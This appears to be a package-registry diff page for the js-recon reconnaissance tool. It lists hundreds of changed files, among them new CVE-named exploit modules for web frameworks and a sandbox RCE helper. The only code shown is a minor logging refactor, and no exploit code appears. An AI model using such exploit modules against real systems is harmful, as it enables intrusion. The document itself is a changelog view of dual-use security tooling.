@js-recon/js-recon 1.4.4 → 2.0.1-alpha.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-sync/sync.sh +1 -1
- package/.github/workflows/build-and-prettify.yaml +49 -19
- package/.github/workflows/codeql.yml +33 -0
- package/.github/workflows/exploit-smoke-test.yaml +160 -0
- package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
- package/.github/workflows/plumber.yml +20 -0
- package/.github/workflows/promote-js-recon.yml +5 -3
- package/.github/workflows/publish-js-recon.yml +6 -1
- package/.github/workflows/rules-smoke-test.yaml +13 -5
- package/.nvmrc +1 -0
- package/.plumber.yaml +151 -0
- package/CHANGELOG.md +35 -0
- package/CONTRIBUTING.md +32 -0
- package/Dockerfile +1 -0
- package/README.md +3 -2
- package/SECURITY.md +1 -1
- package/build/analyze/engine/astEngine.js +10 -9
- package/build/analyze/engine/astEngine.js.map +1 -1
- package/build/analyze/engine/csMastSEngine.js +6 -6
- package/build/analyze/engine/csMastSEngine.js.map +1 -1
- package/build/analyze/engine/index.js +1 -1
- package/build/analyze/engine/index.js.map +1 -1
- package/build/analyze/engine/requestEngine.js +6 -6
- package/build/analyze/engine/requestEngine.js.map +1 -1
- package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
- package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
- package/build/analyze/helpers/initRules.js +9 -9
- package/build/analyze/helpers/initRules.js.map +1 -1
- package/build/analyze/helpers/outputHelper.js +3 -3
- package/build/analyze/helpers/outputHelper.js.map +1 -1
- package/build/analyze/helpers/schemas.js +1 -0
- package/build/analyze/helpers/schemas.js.map +1 -1
- package/build/analyze/helpers/validate.js +9 -5
- package/build/analyze/helpers/validate.js.map +1 -1
- package/build/analyze/index.js +26 -16
- package/build/analyze/index.js.map +1 -1
- package/build/cliProgram.js +710 -0
- package/build/cliProgram.js.map +1 -0
- package/build/completion/index.js +247 -382
- package/build/completion/index.js.map +1 -1
- package/build/completion/introspect.js +17 -0
- package/build/completion/introspect.js.map +1 -0
- package/build/config/applicationConfig.js +3 -2
- package/build/config/applicationConfig.js.map +1 -1
- package/build/cs_mast/index.js +18 -17
- package/build/cs_mast/index.js.map +1 -1
- package/build/endpoints/gen_report/gen_json.js +2 -2
- package/build/endpoints/gen_report/gen_json.js.map +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
- package/build/endpoints/index.js +12 -12
- package/build/endpoints/index.js.map +1 -1
- package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
- package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
- package/build/endpoints/next_js/client_jsonParse.js +4 -4
- package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
- package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
- package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
- package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
- package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
- package/build/exploit/angular/cve-2026-68945.js +61 -0
- package/build/exploit/angular/cve-2026-68945.js.map +1 -0
- package/build/exploit/index.js +60 -0
- package/build/exploit/index.js.map +1 -0
- package/build/exploit/next/cve-2025-29927.js +65 -0
- package/build/exploit/next/cve-2025-29927.js.map +1 -0
- package/build/exploit/next/cve-2026-64645.js +51 -0
- package/build/exploit/next/cve-2026-64645.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71315.js +47 -0
- package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71320.js +114 -0
- package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
- package/build/exploit/react/cve-2025-55182.js +116 -0
- package/build/exploit/react/cve-2025-55182.js.map +1 -0
- package/build/exploit/registry/cveRegistry.js +115 -0
- package/build/exploit/registry/cveRegistry.js.map +1 -0
- package/build/exploit/types.js +2 -0
- package/build/exploit/types.js.map +1 -0
- package/build/exploit/utility/compareResponses.js +29 -0
- package/build/exploit/utility/compareResponses.js.map +1 -0
- package/build/exploit/utility/outputHelper.js +22 -0
- package/build/exploit/utility/outputHelper.js.map +1 -0
- package/build/exploit/utility/rawRequest.js +54 -0
- package/build/exploit/utility/rawRequest.js.map +1 -0
- package/build/exploit/utility/sandboxRce.js +49 -0
- package/build/exploit/utility/sandboxRce.js.map +1 -0
- package/build/exploit/utility/toEngineOutput.js +28 -0
- package/build/exploit/utility/toEngineOutput.js.map +1 -0
- package/build/exploit/utility/wsClient.js +78 -0
- package/build/exploit/utility/wsClient.js.map +1 -0
- package/build/exploit/vite/cve-2025-30208.js +44 -0
- package/build/exploit/vite/cve-2025-30208.js.map +1 -0
- package/build/exploit/vite/cve-2026-39363.js +60 -0
- package/build/exploit/vite/cve-2026-39363.js.map +1 -0
- package/build/fingerprint/index.js +3 -2
- package/build/fingerprint/index.js.map +1 -1
- package/build/globalConfig.js +2 -2
- package/build/globalConfig.js.map +1 -1
- package/build/index.js +5 -596
- package/build/index.js.map +1 -1
- package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
- package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/downloadFilesUtil.js +14 -11
- package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
- package/build/lazyLoad/downloadQueue.js +5 -1
- package/build/lazyLoad/downloadQueue.js.map +1 -1
- package/build/lazyLoad/downloadResponse.js +1 -0
- package/build/lazyLoad/downloadResponse.js.map +1 -1
- package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
- package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
- package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
- package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
- package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
- package/build/lazyLoad/globals.js +31 -0
- package/build/lazyLoad/globals.js.map +1 -1
- package/build/lazyLoad/index.js +129 -66
- package/build/lazyLoad/index.js.map +1 -1
- package/build/lazyLoad/methodFilter.js +2 -0
- package/build/lazyLoad/methodFilter.js.map +1 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js +38 -14
- package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
- package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +13 -11
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_SubsequentRequests.js +7 -6
- package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
- package/build/lazyLoad/next_js/next_buildId.js +2 -2
- package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
- package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
- package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
- package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
- package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
- package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
- package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/react/react_webpackChunkPaths.js +10 -202
- package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
- package/build/lazyLoad/researchUtils.js +15 -0
- package/build/lazyLoad/researchUtils.js.map +1 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
- package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
- package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
- package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
- package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
- package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
- package/build/lazyLoad/techDetect/index.js +13 -1
- package/build/lazyLoad/techDetect/index.js.map +1 -1
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +2 -2
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_discoverJsFiles.js +12 -10
- package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +2 -2
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +2 -2
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js +3 -3
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
- package/build/load/index.js +8 -7
- package/build/load/index.js.map +1 -1
- package/build/map/angular_js/getAngularConnections.js +6 -6
- package/build/map/angular_js/getAngularConnections.js.map +1 -1
- package/build/map/graphql/resolveGraphql.js +6 -6
- package/build/map/graphql/resolveGraphql.js.map +1 -1
- package/build/map/index.js +17 -17
- package/build/map/index.js.map +1 -1
- package/build/map/interactive-mode/commandHandler.js +278 -0
- package/build/map/interactive-mode/commandHandler.js.map +1 -0
- package/build/map/interactive-mode/commandHelpers.js +189 -0
- package/build/map/interactive-mode/commandHelpers.js.map +1 -0
- package/build/map/interactive-mode/esqueryGen.js.map +1 -0
- package/build/map/interactive-mode/helpMenu.js +11 -0
- package/build/map/interactive-mode/helpMenu.js.map +1 -0
- package/build/map/interactive-mode/inputPatch.js.map +1 -0
- package/build/map/interactive-mode/interactive.js +71 -0
- package/build/map/interactive-mode/interactive.js.map +1 -0
- package/build/map/interactive-mode/keybindings.js.map +1 -0
- package/build/map/interactive-mode/printer.js.map +1 -0
- package/build/map/interactive-mode/ui.js.map +1 -0
- package/build/map/next_js/getAxiosInstances.js +5 -5
- package/build/map/next_js/getAxiosInstances.js.map +1 -1
- package/build/map/next_js/getExports.js +4 -4
- package/build/map/next_js/getExports.js.map +1 -1
- package/build/map/next_js/getFetchInstances.js +10 -10
- package/build/map/next_js/getFetchInstances.js.map +1 -1
- package/build/map/next_js/getTurbopackConnections.js +8 -8
- package/build/map/next_js/getTurbopackConnections.js.map +1 -1
- package/build/map/next_js/getWebpackConnections.js +27 -16
- package/build/map/next_js/getWebpackConnections.js.map +1 -1
- package/build/map/next_js/interactive.js +3 -65
- package/build/map/next_js/interactive.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
- package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
- package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
- package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/next_js/resolveAxios.js +6 -6
- package/build/map/next_js/resolveAxios.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
- package/build/map/next_js/resolveFetch.js +23 -23
- package/build/map/next_js/resolveFetch.js.map +1 -1
- package/build/map/next_js/resolveNewRequest.js +10 -10
- package/build/map/next_js/resolveNewRequest.js.map +1 -1
- package/build/map/next_js/resolveServerActions.js +4 -4
- package/build/map/next_js/resolveServerActions.js.map +1 -1
- package/build/map/next_js/utils.js +8 -2
- package/build/map/next_js/utils.js.map +1 -1
- package/build/map/react_js/getReactConnections.js +21 -14
- package/build/map/react_js/getReactConnections.js.map +1 -1
- package/build/map/svelte_js/interactive.js +3 -54
- package/build/map/svelte_js/interactive.js.map +1 -1
- package/build/map/vue_js/getViteConnections.js +23 -16
- package/build/map/vue_js/getViteConnections.js.map +1 -1
- package/build/map/vue_js/interactive.js +3 -63
- package/build/map/vue_js/interactive.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
- package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/vue_js/taint_utils.js +1 -1
- package/build/map/vue_js/taint_utils.js.map +1 -1
- package/build/map/vue_js/vue_resolveFetch.js +12 -12
- package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
- package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
- package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
- package/build/map/vue_js/vue_resolveXhr.js +11 -11
- package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
- package/build/mcp/chatOneShot.js +7 -7
- package/build/mcp/chatOneShot.js.map +1 -1
- package/build/mcp/claudeCodeCreds.js +5 -5
- package/build/mcp/claudeCodeCreds.js.map +1 -1
- package/build/mcp/cli.js +36 -35
- package/build/mcp/cli.js.map +1 -1
- package/build/mcp/config.js +4 -4
- package/build/mcp/config.js.map +1 -1
- package/build/mcp/index.js +7 -7
- package/build/mcp/index.js.map +1 -1
- package/build/mcp/mcpServer.js +3 -2
- package/build/mcp/mcpServer.js.map +1 -1
- package/build/mcp/skills.js +1 -0
- package/build/mcp/skills.js.map +1 -1
- package/build/mcp/tools.js +5 -4
- package/build/mcp/tools.js.map +1 -1
- package/build/proxy/detectBlockedResponse.js +2 -0
- package/build/proxy/detectBlockedResponse.js.map +1 -1
- package/build/proxy/index.js +3 -3
- package/build/proxy/index.js.map +1 -1
- package/build/refactor/index.js +83 -79
- package/build/refactor/index.js.map +1 -1
- package/build/refactor/next/index.js +69 -26
- package/build/refactor/next/index.js.map +1 -1
- package/build/refactor/next/transform.js +11 -4
- package/build/refactor/next/transform.js.map +1 -1
- package/build/refactor/next/validator.js +7 -7
- package/build/refactor/next/validator.js.map +1 -1
- package/build/refactor/react/index.js +13 -13
- package/build/refactor/react/index.js.map +1 -1
- package/build/refactor/react/validator.js +7 -7
- package/build/refactor/react/validator.js.map +1 -1
- package/build/refactor/react-vite/index.js +3 -3
- package/build/refactor/react-vite/index.js.map +1 -1
- package/build/refactor/remote/hf-client.js +1 -0
- package/build/refactor/remote/hf-client.js.map +1 -1
- package/build/refactor/remote/version-detect.js +12 -12
- package/build/refactor/remote/version-detect.js.map +1 -1
- package/build/refactor/vue/index.js +6 -6
- package/build/refactor/vue/index.js.map +1 -1
- package/build/refactor/vue/vite.js +6 -6
- package/build/refactor/vue/vite.js.map +1 -1
- package/build/report/index.js +30 -8
- package/build/report/index.js.map +1 -1
- package/build/report/swaggerJacker.js +63 -0
- package/build/report/swaggerJacker.js.map +1 -0
- package/build/report/utility/genHtml.js +7 -7
- package/build/report/utility/genHtml.js.map +1 -1
- package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
- package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
- package/build/report/utility/populateDb/populateEndpoints.js +3 -3
- package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedJson.js +2 -2
- package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
- package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
- package/build/run/bundler-detect.js +45 -9
- package/build/run/bundler-detect.js.map +1 -1
- package/build/run/dashboard/dashboardHtml.js +150 -0
- package/build/run/dashboard/dashboardHtml.js.map +1 -0
- package/build/run/dashboard/fsBrowser.js +43 -0
- package/build/run/dashboard/fsBrowser.js.map +1 -0
- package/build/run/dashboard/server.js +123 -0
- package/build/run/dashboard/server.js.map +1 -0
- package/build/run/dashboard/state.js +97 -0
- package/build/run/dashboard/state.js.map +1 -0
- package/build/run/index.js +177 -110
- package/build/run/index.js.map +1 -1
- package/build/run/interruptHandler.js +18 -0
- package/build/run/interruptHandler.js.map +1 -1
- package/build/sourcemaps/index.js +7 -6
- package/build/sourcemaps/index.js.map +1 -1
- package/build/strings/index.js +27 -24
- package/build/strings/index.js.map +1 -1
- package/build/strings/openapi.js +4 -4
- package/build/strings/openapi.js.map +1 -1
- package/build/strings/permutate.js +4 -4
- package/build/strings/permutate.js.map +1 -1
- package/build/strings/secrets.js +1 -0
- package/build/strings/secrets.js.map +1 -1
- package/build/strings/trufflehog.js +66 -19
- package/build/strings/trufflehog.js.map +1 -1
- package/build/strings/trufflehogConfig.js +36 -0
- package/build/strings/trufflehogConfig.js.map +1 -0
- package/build/strings/trufflehogDownload.js +115 -0
- package/build/strings/trufflehogDownload.js.map +1 -0
- package/build/utility/ai.js +33 -4
- package/build/utility/ai.js.map +1 -1
- package/build/utility/banner.js +4 -3
- package/build/utility/banner.js.map +1 -1
- package/build/utility/configureSandbox.js +2 -2
- package/build/utility/configureSandbox.js.map +1 -1
- package/build/utility/globals.js +19 -11
- package/build/utility/globals.js.map +1 -1
- package/build/utility/heap.js +2 -1
- package/build/utility/heap.js.map +1 -1
- package/build/utility/makeReq.js +1 -1
- package/build/utility/makeReq.js.map +1 -1
- package/build/utility/openapiGenerator.js +2 -2
- package/build/utility/openapiGenerator.js.map +1 -1
- package/build/utility/printMsg.js +53 -0
- package/build/utility/printMsg.js.map +1 -0
- package/build/utility/progressLog.js +4 -3
- package/build/utility/progressLog.js.map +1 -1
- package/build/utility/resolvePath.js +2 -1
- package/build/utility/resolvePath.js.map +1 -1
- package/build/utility/ruleVersionMap.js +73 -0
- package/build/utility/ruleVersionMap.js.map +1 -0
- package/contributing/testing.md +106 -0
- package/eslint.config.js +24 -0
- package/package.json +22 -5
- package/scripts/exploit-smoke-test.js +82 -0
- package/scripts/framework-detect-smoke-test.js +64 -0
- package/scripts/postinstall-completion.mjs +40 -0
- package/scripts/smoke-test.js +12 -0
- package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
- package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
- package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
- package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
- package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
- package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
- package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"client_jsonParse.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_jsonParse.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,
|
|
1
|
+
{"version":3,"file":"client_jsonParse.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_jsonParse.ts"],"names":[],"mappings":"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"}
|
|
@@ -8,11 +8,11 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
8
8
|
});
|
|
9
9
|
};
|
|
10
10
|
var _a;
|
|
11
|
-
import chalk from "chalk";
|
|
12
11
|
import fs from "fs";
|
|
13
12
|
import parser from "@babel/parser";
|
|
14
13
|
import _traverse from "@babel/traverse";
|
|
15
14
|
const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
|
|
15
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
16
16
|
/**
|
|
17
17
|
* Checks for client-side paths in a mapped JSON file.
|
|
18
18
|
*
|
|
@@ -20,11 +20,11 @@ const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _tra
|
|
|
20
20
|
* @returns {Promise<string[]>} - A promise that resolves to an array of client-side paths
|
|
21
21
|
*/
|
|
22
22
|
const client_mappedJsonFile = (filePath) => __awaiter(void 0, void 0, void 0, function* () {
|
|
23
|
-
|
|
23
|
+
printMsg(MSG.Header, "[i] Checking for client-side paths from mapped JSON file");
